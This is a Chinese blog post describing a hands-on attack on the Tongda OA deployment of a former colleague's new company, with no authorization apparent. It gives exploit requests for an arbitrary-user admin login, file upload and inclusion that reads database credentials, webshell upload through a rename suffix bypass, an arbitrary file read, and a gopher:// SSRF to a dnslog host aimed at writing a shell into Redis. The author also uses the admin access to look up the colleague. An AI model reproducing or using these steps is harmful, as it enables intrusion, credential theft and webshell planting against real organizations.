前言:本人水平有限,文笔较差,如果有什么写的不对的地方还希望大家能够不吝赐教
背景:搞实施的同事离职了,去了一家新的公司,和他聊天中发现他新公司用的OA系统是通达的,于是进行了一波测试。
由于之前只是知道通达的OA爆了不少洞,但是没有复现过,所以决定试试……
漏洞一:任意用户登录
首先访问一次 /ispirit/login_code.php 获得codeuid,复制这个值,待会用:
然后URL改为/logincheck_code.php 构造如下poc:CODEUID=PC{上面获得的codeuid}&UID=1
拼接页面中回显的path成功登入OA:
在系统管理栏目里查看系统信息:
顺手查一下前同事的名字:
漏洞二:任意文件上传+文件包含
文件包含以下默认路径的my.ini成功读出数据库相关信息
构造poc上传,打印test字符串
Poc的构造需要满足四个条件: P非空、DEST_UID非空且为数字、
UPLOAD_MODE为1或2或3、ATTACHMENT的filename后缀名不能为php
成功回显文件包含成功
到这一步的时候,心想着内网在向我召唤,然而发现即使用了加载 COM 组件的形式去bypass还是不能命令执行。
COM组件bypass简介
1. 利用条件:Windows php5.x支持COM组件
2. 基本原理:COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连
接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能
够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的
COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。
(尝试了多次因此回显内容和路径对不上)
结果多次尝试,还是执行不了命令,没辙了。。。。。。
Ps.还有其他包含文件生成webshell或者包含nginx 日志的可以看看这
https://www.jianshu.com/p/0ec92c012e6f
漏洞三:后台文件上传+重命名绕过后缀限制
网上用的V11版本可以通过给管理员自己发送附件上传webshell,但在此次目标中无法给管理员发送附件,如下图,但是有其他方式上传webshell。
在资源共享栏目下,选择新建一个共享目录
添加文件夹,目录路径可以选择webroot
确定后需要权限设置,设置访问权限,管理权限,新建权限,之后就可以在内部资源共享栏目下看到添加的webroot目录了
随后在根目录上传一个非限制后缀的文件,内容为冰蝎的马
之后选择重命名抓包
使用如下构造
action=file_rename&DISK_ID=16&URL=&FILE_NAME_OLD=test.txt&FILE_NAME=win2.php
&ATTACHMENT_NAME_POSTFIX=
修改数据包,网页会提示修改失败,但是已经修改成功了
(注意页数,上传后没仔细看页数,结果找了半天。。。。)
连接冰蝎,意料中的无法命令执行
哥斯拉
在服务器上发现五月份上传的webshell
内容如下
找个PHP在线执行网站打印一下
蚁剑连一下
漏洞四:任意文件读取+ssrf+redis写shell
/ispirit/im/photo.php?AVATAR_FILE=D:/MYOA/bin/redis.windows.conf&UID=2
任意文件读取:
ssrf:
/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=gopher://xxx.dnslog.cn/
可以使用这个https://github.com/LS95/gopher-redis-auth工具生成shell,
由于涉及到操作数据库,所以此处并未测试